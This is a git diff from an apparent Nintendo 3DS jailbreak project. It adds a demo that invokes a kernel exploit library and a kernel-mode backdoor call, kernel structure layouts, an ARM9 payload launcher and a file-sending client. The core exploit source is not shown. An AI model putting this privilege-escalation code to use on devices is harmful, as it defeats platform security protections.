||||
<ClInclude Include="../khaxinternal.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="../khax.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
139
ninjhax/source/libkhax/demo/main.c
Normal file
139
ninjhax/source/libkhax/demo/main.c
Normal file
@ -0,0 +1,139 @@
|
||||
#ifndef LIBKHAX_AS_LIB
|
||||
|
||||
#include <3ds.h>
|
||||
#include <3ds/services/am.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include "../khax.h"
|
||||
|
||||
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
|
||||
|
||||
s32 g_backdoorResult = -1;
|
||||
|
||||
s32 dump_chunk_wrapper()
|
||||
{
|
||||
__asm__ volatile("cpsid aif");
|
||||
g_backdoorResult = 0x6666abcd;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Test access to "am" service, which we shouldn't have access to, unless khax succeeds.
|
||||
Result test_am_access_inner(char *productCode)
|
||||
{
|
||||
// Title IDs of "mset" in the six regions
|
||||
static const u64 s_msetTitleIDs[] =
|
||||
{
|
||||
0x0004001000020000, 0x0004001000021000, 0x0004001000022000,
|
||||
0x0004001000026000, 0x0004001000027000, 0x0004001000028000
|
||||
};
|
||||
Result result;
|
||||
char productCodeTemp[16 + 1];
|
||||
unsigned x;
|
||||
|
||||
// Initialize "am"
|
||||
result = amInit();
|
||||
if (result != 0)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
// Check for the existence of the title IDs.
|
||||
for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x)
|
||||
{
|
||||
result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp);
|
||||
if (result == 0)
|
||||
{
|
||||
memcpy(productCode, productCodeTemp, sizeof(productCodeTemp));
|
||||
amExit();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
amExit();
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Self-contained test.
|
||||
void test_am_access_outer(int testNumber)
|
||||
{
|
||||
char productCode[16 + 1];
|
||||
Result result = test_am_access_inner(productCode);
|
||||
if (result != 0)
|
||||
{
|
||||
productCode[0] = '\0';
|
||||
}
|
||||
printf("amtest%d:%08lx %s\n", testNumber, result, productCode);
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
// Initialize services
|
||||
/* srvInit(); // mandatory
|
||||
aptInit(); // mandatory
|
||||
hidInit(NULL); // input (buttons, screen)*/
|
||||
gfxInitDefault(); // graphics
|
||||
/* fsInit();
|
||||
sdmcInit();
|
||||
hbInit();
|
||||
qtmInit();*/
|
||||
|
||||
consoleInit(GFX_BOTTOM, NULL);
|
||||
|
||||
consoleClear();
|
||||
|
||||
test_am_access_outer(1); // test before libkhax
|
||||
|
||||
Result result = khaxInit();
|
||||
printf("khaxInit returned %08lx\n", result);
|
||||
|
||||
printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult));
|
||||
|
||||
test_am_access_outer(2); // test after libkhax
|
||||
|
||||
printf("khax demo main finished\n");
|
||||
printf("Press X to exit\n");
|
||||
|
||||
khaxExit();
|
||||
|
||||
while (aptMainLoop())
|
||||
{
|
||||
// Wait next screen refresh
|
||||
gspWaitForVBlank();
|
||||
|
||||
// Read which buttons are currently pressed
|
||||
hidScanInput();
|
||||
u32 kDown = hidKeysDown();
|
||||
(void) kDown;
|
||||
u32 kHeld = hidKeysHeld();
|
||||
(void) kHeld;
|
||||
|
||||
// If START is pressed, break loop and quit
|
||||
if (kDown & KEY_X){
|
||||
break;
|
||||
}
|
||||
|
||||
//consoleClear();
|
||||
|
||||
// Flush and swap framebuffers
|
||||
gfxFlushBuffers();
|
||||
gfxSwapBuffers();
|
||||
}
|
||||
|
||||
// Exit services
|
||||
/* qtmExit();
|
||||
hbExit();
|
||||
sdmcExit();
|
||||
fsExit();*/
|
||||
gfxExit();
|
||||
/* hidExit();
|
||||
aptExit();
|
||||
srvExit();*/
|
||||
|
||||
// Return to hbmenu
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // LIBKHAX_AS_LIB
|
16
ninjhax/source/libkhax/khax.h
Normal file
16
ninjhax/source/libkhax/khax.h
Normal file
@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#include <3ds.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize and do the initial pwning of the ARM11 kernel.
|
||||
Result khaxInit();
|
||||
// Shut down libkhax
|
||||
Result khaxExit();
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
1140
ninjhax/source/libkhax/khaxinit.cpp
Normal file
1140
ninjhax/source/libkhax/khaxinit.cpp
Normal file
File diff suppressed because it is too large
Load Diff
337
ninjhax/source/libkhax/khaxinternal.h
Normal file
337
ninjhax/source/libkhax/khaxinternal.h
Normal file
@ -0,0 +1,337 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef KHAX_DEBUG
|
||||
#define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
|
||||
#else
|
||||
#define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
|
||||
#endif
|
||||
|
||||
// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
|
||||
// actually compile this program.
|
||||
#ifdef _MSC_VER
|
||||
#undef ALIGN
|
||||
#define ALIGN(x) __declspec(align(x))
|
||||
#if _MSC_VER < 1900
|
||||
#define alignof __alignof
|
||||
#endif
|
||||
#define KHAX_ATTRIBUTE(...)
|
||||
#else
|
||||
#define KHAX_ATTRIBUTE(...) __VA_ARGS__
|
||||
#endif
|
||||
|
||||
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
|
||||
#define KHAX_UNUSED(...) static_cast<void>(__VA_ARGS__)
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
namespace KHAX
|
||||
{
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// This code uses offsetof illegally (i.e. on polymorphic classes).
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// General linked list node kernel object.
|
||||
struct KLinkedListNode
|
||||
{
|
||||
KLinkedListNode *next;
|
||||
KLinkedListNode *prev;
|
||||
void *data;
|
||||
};
|
||||
static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Base class of reference-counted kernel objects.
|
||||
class KAutoObject
|
||||
{
|
||||
public:
|
||||
u32 m_refCount; // +004
|
||||
|
||||
protected:
|
||||
virtual ~KAutoObject() {}
|
||||
};
|
||||
static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
|
||||
static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Base class of synchronizable objects.
|
||||
class KSynchronizationObject : public KAutoObject
|
||||
{
|
||||
public:
|
||||
u32 m_threadSyncCount; // +008
|
||||
KLinkedListNode *m_threadSyncFirst; // +00C
|
||||
KLinkedListNode *m_threadSyncLast; // +010
|
||||
};
|
||||
static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
|
||||
static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
|
||||
"KSynchronizationObject isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
struct KDebugThread;
|
||||
struct KThreadLocalPage;
|
||||
class KCodeSet;
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Unofficial name
|
||||
typedef u8 KSVCACL[0x80 / 8];
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// ARM VFP register
|
||||
union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
|
||||
{
|
||||
float m_single[2];
|
||||
double m_double;
|
||||
};
|
||||
static_assert(alignof(VFPRegister) == 0x004,
|
||||
"VFPRegister isn't the expected alignment.");
|
||||
static_assert(sizeof(VFPRegister) == 0x008,
|
||||
"VFPRegister isn't the expected size.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// SVC-mode register save area.
|
||||
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
|
||||
struct SVCRegisterState
|
||||
{
|
||||
u32 m_r4; // +000
|
||||
u32 m_r5; // +004
|
||||
u32 m_r6; // +008
|
||||
u32 m_r7; // +00C
|
||||
u32 m_r8; // +010
|
||||
u32 m_r9; // +014
|
||||
u32 m_sl; // +018
|
||||
u32 m_fp; // +01C
|
||||
u32 m_sp; // +020
|
||||
u32 m_lr; // +024
|
||||
};
|
||||
static_assert(sizeof(SVCRegisterState) == 0x028,
|
||||
"SVCRegisterState isn't the expected size.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// SVC-mode thread state structure. This is the last part of the per-
|
||||
// thread page allocated in 0xFF4XX000.
|
||||
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
|
||||
struct SVCThreadArea
|
||||
{
|
||||
KSVCACL m_svcAccessControl; // +000
|
||||
u32 m_unknown010; // +010
|
||||
u32 m_unknown014; // +014
|
||||
SVCRegisterState m_svcRegisterState; // +018
|
||||
VFPRegister m_vfpRegisters[16]; // +040
|
||||
u32 m_unknown0C4; // +0C0
|
||||
u32 m_fpexc; // +0C4
|
||||
};
|
||||
static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
|
||||
"ThreadSVCArea isn't the expected layout.");
|
||||
static_assert(sizeof(SVCThreadArea) == 0x0C8,
|
||||
"ThreadSVCArea isn't the expected size.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Kernel's internal structure of a thread object.
|
||||
class KThread : public KSynchronizationObject
|
||||
{
|
||||
public:
|
||||
u32 m_unknown014; // +014
|
||||
u32 m_unknown018; // +018
|
||||
u32 m_unknown01C; // +01C
|
||||
u32 m_unknown020; // +020
|
||||
u32 m_unknown024; // +024
|
||||
u32 m_unknown028; // +028
|
||||
u32 m_unknown02C; // +02C
|
||||
u32 m_unknown030; // +030
|
||||
u32 m_unknown034; // +034
|
||||
KDebugThread *m_debugThread; // +038
|
||||
s32 m_threadPriority; // +03C
|
||||
void *m_waitingOnObject; // +040
|
||||
u32 m_unknown044; // +044
|
||||
KThread **m_schedulerUnknown048; // +048
|
||||
void *m_arbitrationAddress; // +04C
|
||||
u32 m_unknown050; // +050
|
||||
u32 m_unknown054; // +054
|
||||
u32 m_unknown058; // +058
|
||||
KLinkedListNode *m_waitingOnList; // +05C
|
||||
u32 m_unknownListCount; // +060
|
||||
KLinkedListNode *m_unknownListHead; // +064
|
||||
KLinkedListNode *m_unknownListTail; // +068
|
||||
s32 m_threadPriority2; // +06C
|
||||
s32 m_creatingProcessor; // +070
|
||||
u32 m_unknown074; // +074
|
||||
u32 m_unknown078; // +078
|
||||
u16 m_unknown07C; // +07C
|
||||
u8 m_threadType; // +07E
|
||||
u8 m_padding07F; // +07F
|
||||
void *m_process; // +080
|
||||
u32 m_threadID; // +084
|
||||
SVCRegisterState *m_svcRegisterState; // +088
|
||||
void *m_svcPageEnd; // +08C
|
||||
s32 m_idealProcessor; // +090
|
||||
void *m_tlsUserMode; // +094
|
||||
void *m_tlsKernelMode; // +098
|
||||
u32 m_unknown09C; // +09C
|
||||
KThread *m_prev; // +0A0
|
||||
KThread *m_next; // +0A4
|
||||
KThread **m_temporaryLinkedList; // +0A8
|
||||
u32 m_unknown0AC; // +0B0
|
||||
};
|
||||
static_assert(sizeof(KThread) == 0x0B0,
|
||||
"KThread isn't the expected size.");
|
||||
static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
|
||||
"KThread isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Kernel's internal structure of a process object.
|
||||
// Version 1.0.0(?) - 7.2.0
|
||||
class KProcess_1_0_0_Old : public KSynchronizationObject
|
||||
{
|
||||
public:
|
||||
u32 m_unknown014; // +014
|
||||
u32 m_unknown018; // +018
|
||||
KThread *volatile m_interactingThread; // +01C
|
||||
u16 m_unknown020; // +020
|
||||
u16 m_unknown022; // +022
|
||||
u32 m_unknown024; // +024
|
||||
u32 m_unknown028; // +028
|
||||
u32 m_memoryBlockCount; // +02C
|
||||
KLinkedListNode *m_memoryBlockFirst; // +030
|
||||
KLinkedListNode *m_memoryBlockLast; // +034
|
||||
u32 m_unknown038; // +038
|
||||
u32 m_unknown03C; // +03C
|
||||
void *m_translationTableBase; // +040
|
||||
u8 m_contextID; // +044
|
||||
u32 m_unknown048; // +048
|
||||
u32 m_unknown04C; // +04C
|
||||
u32 m_mmuTableSize; // +050
|
||||
void *m_mmuTableAddress; // +054
|
||||
u32 m_threadContextPagesSize; // +058
|
||||
u32 m_threadLocalPageCount; // +05C
|
||||
KLinkedListNode *m_threadLocalPageFirst; // +060
|
||||
KLinkedListNode *m_threadLocalPageLast; // +064
|
||||
u32 m_unknown068; // +068
|
||||
s32 m_idealProcessor; // +06C
|
||||
u32 m_unknown070; // +070
|
||||
void *m_resourceLimits; // +074
|
||||
u8 m_unknown078; // +078
|
||||
u8 m_affinityMask; // +079
|
||||
u32 m_threadCount; // +07C
|
||||
KSVCACL m_svcAccessControl; // +080
|
||||
u32 m_interruptFlags[0x80 / 32]; // +090
|
||||
u32 m_kernelFlags; // +0A0
|
||||
u16 m_handleTableSize; // +0A4
|
||||
u16 m_kernelReleaseVersion; // +0A6
|
||||
KCodeSet *m_codeSet; // +0A8
|
||||
u32 m_processID; // +0AC
|
||||
u32 m_kernelFlags2; // +0B0
|
||||
u32 m_unknown0B4; // +0B4
|
||||
KThread *m_mainThread; // +0B8
|
||||
//...more...
|
||||
};
|
||||
static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
|
||||
"KProcess_1_0_0_Old isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Kernel's internal structure of a process object.
|
||||
// Old 3DS Version 8.0.0 - 9.5.0...
|
||||
class KProcess_8_0_0_Old : public KSynchronizationObject
|
||||
{
|
||||
public:
|
||||
u32 m_unknown014; // +014
|
||||
u32 m_unknown018; // +018
|
||||
KThread *volatile m_interactingThread; // +01C
|
||||
u16 m_unknown020; // +020
|
||||
u16 m_unknown022; // +022
|
||||
u32 m_unknown024; // +024
|
||||
u32 m_unknown028; // +028
|
||||
u32 m_memoryBlockCount; // +02C
|
||||
KLinkedListNode *m_memoryBlockFirst; // +030
|
||||
KLinkedListNode *m_memoryBlockLast; // +034
|
||||
u32 m_unknown038; // +038
|
||||
u32 m_unknown03C; // +03C
|
||||
void *m_translationTableBase; // +040
|
||||
u8 m_contextID; // +044
|
||||
u32 m_unknown048; // +048
|
||||
void *m_userVirtualMemoryEnd; // +04C
|
||||
void *m_userLinearVirtualBase; // +050
|
||||
u32 m_unknown054; // +054
|
||||
u32 m_mmuTableSize; // +058
|
||||
void *m_mmuTableAddress; // +05C
|
||||
u32 m_threadContextPagesSize; // +060
|
||||
u32 m_threadLocalPageCount; // +064
|
||||
KLinkedListNode *m_threadLocalPageFirst; // +068
|
||||
KLinkedListNode *m_threadLocalPageLast; // +06C
|
||||
u32 m_unknown070; // +070
|
||||
s32 m_idealProcessor; // +074
|
||||
u32 m_unknown078; // +078
|
||||
void *m_resourceLimits; // +07C
|
||||
u32 m_unknown080; // +080
|
||||
u32 m_threadCount; // +084
|
||||
u8 m_svcAccessControl[0x80 / 8]; // +088
|
||||
u32 m_interruptFlags[0x80 / 32]; // +098
|
||||
u32 m_kernelFlags; // +0A8
|
||||
u16 m_handleTableSize; // +0AC
|
||||
u16 m_kernelReleaseVersion; // +0AE
|
||||
KCodeSet *m_codeSet; // +0B0
|
||||
u32 m_processID; // +0B4
|
||||
u32 m_unknown0B8; // +0B8
|
||||
u32 m_unknown0BC; // +0BC
|
||||
KThread *m_mainThread; // +0C0
|
||||
//...more...
|
||||
};
|
||||
static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
|
||||
"KProcess_8_0_0_Old isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Kernel's internal structure of a process object.
|
||||
// New 3DS Version 8.0.0 - 9.5.0...
|
||||
class KProcess_8_0_0_New : public KSynchronizationObject
|
||||
{
|
||||
public:
|
||||
u32 m_unknown014; // +014
|
||||
u32 m_unknown018; // +018
|
||||
KThread *volatile m_interactingThread; // +01C
|
||||
u16 m_unknown020; // +020
|
||||
u16 m_unknown022; // +022
|
||||
u32 m_unknown024; // +024
|
||||
u32 m_unknown028; // +028
|
||||
u32 m_unknown02C; // +02C new to New 3DS
|
||||
u32 m_unknown030; // +030 new to New 3DS
|
||||
u32 m_memoryBlockCount; // +034
|
||||
KLinkedListNode *m_memoryBlockFirst; // +038
|
||||
KLinkedListNode *m_memoryBlockLast; // +03C
|
||||
u32 m_unknown040; // +040
|
||||
u32 m_unknown044; // +044
|
||||
void *m_translationTableBase; // +048
|
||||
u8 m_contextID; // +04C
|
||||
u32 m_unknown050; // +050
|
||||
void *m_userVirtualMemoryEnd; // +054
|
||||
void *m_userLinearVirtualBase; // +058
|
||||
u32 m_unknown05C; // +05C
|
||||
u32 m_mmuTableSize; // +060
|
||||
void *m_mmuTableAddress; // +064
|
||||
u32 m_threadContextPagesSize; // +068
|
||||
u32 m_threadLocalPageCount; // +06C
|
||||
KLinkedListNode *m_threadLocalPageFirst; // +070
|
||||
KLinkedListNode *m_threadLocalPageLast; // +074
|
||||
u32 m_unknown078; // +078
|
||||
s32 m_idealProcessor; // +07C
|
||||
u32 m_unknown080; // +080
|
||||
void *m_resourceLimits; // +084
|
||||
u32 m_unknown088; // +088
|
||||
u32 m_threadCount; // +08C
|
||||
u8 m_svcAccessControl[0x80 / 8]; // +090
|
||||
u32 m_interruptFlags[0x80 / 32]; // +0A0
|
||||
u32 m_kernelFlags; // +0B0
|
||||
u16 m_handleTableSize; // +0B4
|
||||
u16 m_kernelReleaseVersion; // +0B6
|
||||
KCodeSet *m_codeSet; // +0B8
|
||||
u32 m_processID; // +0BC
|
||||
u32 m_unknown0C0; // +0C0
|
||||
u32 m_unknown0C4; // +0C4
|
||||
KThread *m_mainThread; // +0C8
|
||||
//...more...
|
||||
};
|
||||
static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
|
||||
"KProcess_8_0_0_New isn't the expected layout.");
|
||||
|
||||
//------------------------------------------------------------------------------------------------
|
||||
// Done using illegal offsetof
|
||||
#pragma GCC diagnostic pop
|
||||
}
|
@ -1,45 +1,30 @@
|
||||
#include <3ds.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "brahma.h"
|
||||
#include "hid.h"
|
||||
|
||||
s32 main (void) {
|
||||
// Initialize services
|
||||
srvInit();
|
||||
aptInit();
|
||||
hidInit(NULL);
|
||||
gfxInitDefault();
|
||||
fsInit();
|
||||
sdmcInit();
|
||||
hbInit();
|
||||
qtmInit();
|
||||
|
||||
gfxSwapBuffers();
|
||||
|
||||
u32 payload_size = 0x10000;
|
||||
void *payload = malloc(payload_size);
|
||||
|
||||
FILE *fp = fopen("/reiNand.dat", "r");
|
||||
if (!fp) goto exit;
|
||||
fseek(fp, 0x12000, SEEK_SET);
|
||||
fread(payload, payload_size, 1, fp);
|
||||
fclose(fp);
|
||||
#ifndef LAUNCHER_PATH
|
||||
#define LAUNCHER_PATH "Cakes.dat"
|
||||
#endif
|
||||
|
||||
int main (void) {
|
||||
if (brahma_init()) {
|
||||
load_arm9_payload_from_mem(payload, payload_size);
|
||||
if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1)
|
||||
goto error;
|
||||
firm_reboot();
|
||||
brahma_exit();
|
||||
}
|
||||
|
||||
exit:
|
||||
if (payload) free(payload);
|
||||
|
||||
hbExit();
|
||||
sdmcExit();
|
||||
fsExit();
|
||||
gfxExit();
|
||||
hidExit();
|
||||
aptExit();
|
||||
srvExit();
|
||||
// Return to hbmenu
|
||||
return 0;
|
||||
|
||||
error:
|
||||
gfxInitDefault();
|
||||
consoleInit(GFX_BOTTOM, NULL);
|
||||
printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH);
|
||||
wait_any_key();
|
||||
|
||||
gfxExit();
|
||||
return 1;
|
||||
}
|
||||
|
@ -17,21 +17,22 @@ CleanEntireDataCache:
|
||||
mcr p15, 0, r0, c7, c10, 0
|
||||
bx lr
|
||||
|
||||
.global dsb
|
||||
.type dsb, %function
|
||||
dsb:
|
||||
mov r0, #0
|
||||
mcr p15, 0, r0, c7, c10, 4
|
||||
bx lr
|
||||
|
||||
.global DisableInterrupts
|
||||
.type DisableInterrupts, %function
|
||||
DisableInterrupts:
|
||||
mrs r0, cpsr
|
||||
CPSID I
|
||||
bx lr
|
||||
|
||||
|
||||
.global EnableInterrupts
|
||||
.type EnableInterrupts, %function
|
||||
EnableInterrupts:
|
||||
msr cpsr_cx, r0
|
||||
bx lr
|
||||
|
||||
.global svcCorruptedCreateThread
|
||||
.type svcCorruptedCreateThread, %function
|
||||
svcCorruptedCreateThread:
|
||||
svc 0x08
|
||||
bx lr
|
||||
|
22
ninjhax/tools/client.py
Normal file
22
ninjhax/tools/client.py
Normal file
@ -0,0 +1,22 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
import sys
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print "python client.py <ip> <file>\n"
|
||||
sys.exit(0)
|
||||
|
||||
port = 80
|
||||
host = sys.argv[1]
|
||||
pfile = sys.argv[2]
|
||||
|
||||
f = open(pfile, "rb")
|
||||
buf = f.read()
|
||||
f.close()
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
sent = s.send(buf)
|
||||
print "Sent %d bytes\n" % sent
|
||||
s.close()
|
Reference in New Issue
Block a user